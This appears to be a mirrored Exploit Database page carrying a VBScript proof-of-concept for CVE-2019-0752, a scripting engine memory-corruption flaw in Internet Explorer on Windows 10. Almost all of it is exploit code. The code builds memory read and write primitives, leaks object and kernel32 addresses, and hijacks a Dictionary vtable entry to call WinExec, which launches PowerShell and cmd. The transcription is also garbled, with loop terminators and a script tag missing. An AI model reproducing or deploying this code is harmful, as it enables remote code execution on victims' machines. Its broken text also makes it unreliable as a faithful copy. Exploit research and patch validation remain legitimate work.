Microsoft Internet Explorer Windows 10 1809 17763.316 – Scripting Engine Memory Corruption

Exploit Database
145 阅读

作者： Simon Zuckerbraun

日期： 2019-05-24
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/46928/

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# Exploit Title: Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption

# Date: 03/2019

# Author: Simon Zuckerbraun

# Vendor: https://www.microsoft.com/

# Version: February 2019 patch level

# Tested on: Windows 10 1809 17763.316

# CVE: CVE-2019-0752

<html>

<body>

Content

</div>

Dim ar1(&h3000000)

Dim ar2(1000)

Dim gremlin

addressOfGremlin = &h28281000

Class MyClass

Private mValue

Public Property Let Value(v)

mValue = v

End Property

Public Default Property Get P

P = mValue ' Where to write

End Property

End Class

Sub TriggerWrite(where, val)

Dim v1

Set v1 = document.getElementById("container1")

v1.scrollLeft = val ' Write this value (Maximum: 0x001767dd)

Dim c

Set c = new MyClass

c.Value = where

Set v1.scrollLeft = c

End Sub

' Our vulnerability does not immediately give us an unrestricted

' write (though we could manufacture one). For our purposes, the

' following is sufficient. It writes an arbitrary DWORD to an

' arbitrary location, and sets the subsequent 3 bytes to zero.

Sub WriteInt32With3ByteZeroTrailer(addr, val)

TriggerWrite addr, (val) AND &hff

TriggerWrite addr + 1, (val\&h100) AND &hff

TriggerWrite addr + 2, (val\&h10000) AND &hff

TriggerWrite addr + 3, (val\&h1000000) AND &hff

End Sub

Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)

For i = 0 To Len(str) - 1

TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))

End Sub

Function ReadInt32(addr)

WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr

ReadInt32 = ar1(gremlin)

End Function

Function LeakAddressOfObject(obj)

Set ar1(gremlin + 1) = obj

LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)

End Function

Sub Exploit()

' Corrupt vt of one array element (the "gremlin")

TriggerWrite addressOfGremlin, &h4003 ' VT_BYREF | VT_I4

For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100

If Not IsEmpty(ar1(i)) Then

gremlin = i

Exit For

End If

If IsEmpty(gremlin) Then

MsgBox "Could not find gremlin"

Exit Sub

End If

For i = 0 To UBound(ar2)

Set ar2(i) = CreateObject("Scripting.Dictionary")

Set dict = ar2(UBound(ar2) / 2)

addressOfDict = LeakAddressOfObject(dict)

vtableOfDict = ReadInt32(addressOfDict)

scrrun = vtableOfDict - &h11fc

kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90

winExec = kernel32 + &h5d380

dict.Exists "dummy" ' Make a dispatch call, just to populate pld

' Relocate pld to ensure its address doesn't contain a null byte

pld = ReadInt32(addressOfDict + &h3c)

fakePld = &h28281020

For i = 0 To 3 - 1

WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)

fakeVtable = &h28282828 ' ASCII "(((("

For i = 0 To 21

If i = 12 Then ' Dictionary.Exists

fptr = winExec

Else

fptr = ReadInt32(vtableOfDict + 4 * i)

End If

WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr

WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"

WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld

WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd <code>""""""/t:4f /k whoami /user</code>"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""

On Error Resume Next

dict.Exists "dummy" ' Wheeee!!

' A little cleanup to help prevent crashes after the exploit

For i = 1 To 3

WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict

WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2

Erase Dict

Erase ar2

End Sub

Exploit

</script>

</body>

</html>